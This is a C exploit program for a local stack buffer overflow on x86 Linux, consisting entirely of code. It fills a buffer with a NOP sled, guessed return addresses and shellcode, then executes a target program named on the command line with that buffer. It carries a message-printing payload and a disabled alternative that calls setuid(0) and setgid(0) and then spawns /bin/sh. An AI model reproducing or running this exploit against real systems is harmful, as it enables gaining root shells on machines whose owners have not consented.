#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define ALIGN                             0
#define OFFSET                            0
#define RET_POSITION                    1024
#define RANGE                            20
#define NOP                            0x90

char forkcode[] =
"\x31\xc0"			/* xorl %eax,%eax        */
"\xb0\x02"			/* movb $0x2,%al         */
"\xcd\x80";			/* int $0x80             */

char shellcode[] =
{
#if 1
	"\x25\x4b\x4b\x4b\x4b\x25\x34\x34\x34\x34\x40\x50\x5b\x68\x72"
	"\x65\x64\x0a\x68\x73\x20\x62\x6f\x68\x72\x20\x77\x61\x68\x73"
	"\x6f\x6c\x61\x54\x59\x68\x5b\x4b\x4b\x4b\x58\x25\x34\x34\x34"
	"\x34\x50\x5a\x68\x44\x4b\x4b\x4b\x58\x25\x34\x34\x34\x34\xcd"	
	"\x80\x25\x4b\x4b\x4b\x4b\x25\x34\x34\x34\x34\x50\x5b\x40\xcd"
	"\x80"
#else
/************************ setreuid(); ****************************/
//        "\x31\xc0"                      /* xorl %eax,%eax        */
//        "\x31\xdb"                      /* xorl %ebx,%ebx        */
//        "\xb0\x46"                      /* movb $0x46,%al        */
//        "\xcd\x80"                      /* int $0x80             */
/************************ setuid(); ******************************/
   "\x31\xc0"			/* xorl %eax,%eax        */
   "\x31\xdb"			/* xorl %ebx,%ebx        */
   "\xb0\x17"			/* movb $0x17,%al        */
   "\xcd\x80"			/* int $0x80             */
/************************ setgid(); ******************************/
   "\x31\xc0"			/* xorl %eax,%eax        */
   "\x31\xdb"			/* xorl %ebx,%ebx        */
   "\xb0\x2e"			/* movb $0x2e,%al        */
   "\xcd\x80"			/* int $0x80             */
/************************* (shellcode) ***************************/
   "\xeb\x1f"			/* jmp 0x1f              */
   "\x5e"			/* popl %esi             */
   "\x89\x76\x08"		/* movl %esi,0x8(%esi)   */
   "\x31\xc0"			/* xorl %eax,%eax        */
   "\x88\x46\x07"		/* movb %eax,0x7(%esi)   */
   "\x89\x46\x0c"		/* movl %eax,0xc(%esi)   */
   "\xb0\x0b"			/* movb $0xb,%al         */
   "\x89\xf3"			/* movl %esi,%ebx        */
   "\x8d\x4e\x08"		/* leal 0x8(%esi),%ecx   */
   "\x8d\x56\x0c"		/* leal 0xc(%esi),%edx   */
   "\xcd\x80"			/* int $0x80             */
   "\x31\xdb"			/* xorl %ebx,%ebx        */
   "\x89\xd8"			/* movl %ebx,%eax        */
   "\x40"			/* inc %eax              */
   "\xcd\x80"			/* int $0x80             */
   "\xe8\xdc\xff\xff\xff"	/* call -0x24            */
   "/bin/sh"			/* .string \"/bin/sh\"   */
#endif
};
unsigned long get_sp(void)
{
   __asm__("movl %esp,%eax");
}

int main(int argc, char **argv)
{
   char buff[RET_POSITION + RANGE + ALIGN + 1], *ptr;
   long addr;
   unsigned long sp;
   char *fname;
   int offset = OFFSET, bsize = RET_POSITION + RANGE + ALIGN + 1;
   int i;
   if (argc < 2) {
      printf("Usage %s <file> <offset>\n", argv[0]);
      exit(3);
   }
   offset = atoi(argv[2]);
   fname = argv[1];
   sp = get_sp();
   addr = sp - offset;
   for (i = 0; i < bsize; i += 4) {
      buff[i + ALIGN] = (addr & 0x000000ff);
      buff[i + ALIGN + 1] = (addr & 0x0000ff00) >> 8;
      buff[i + ALIGN + 2] = (addr & 0x00ff0000) >> 16;
      buff[i + ALIGN + 3] = (addr & 0xff000000) >> 24;
   }
   for (i = 0; i < bsize - RANGE * 2 - strlen(shellcode) - 1; i++)
      buff[i] = NOP;
   ptr = buff + bsize - RANGE * 2 - strlen(shellcode) - 1;
   for (i = 0; i < strlen(shellcode); i++)
      *(ptr++) = shellcode[i];
   buff[bsize - 1] = '\0';
   printf("Jump to 0x%08x len=%d\n", addr, strlen(buff));
   execl(fname, fname, buff, 0);
   return 1;
}
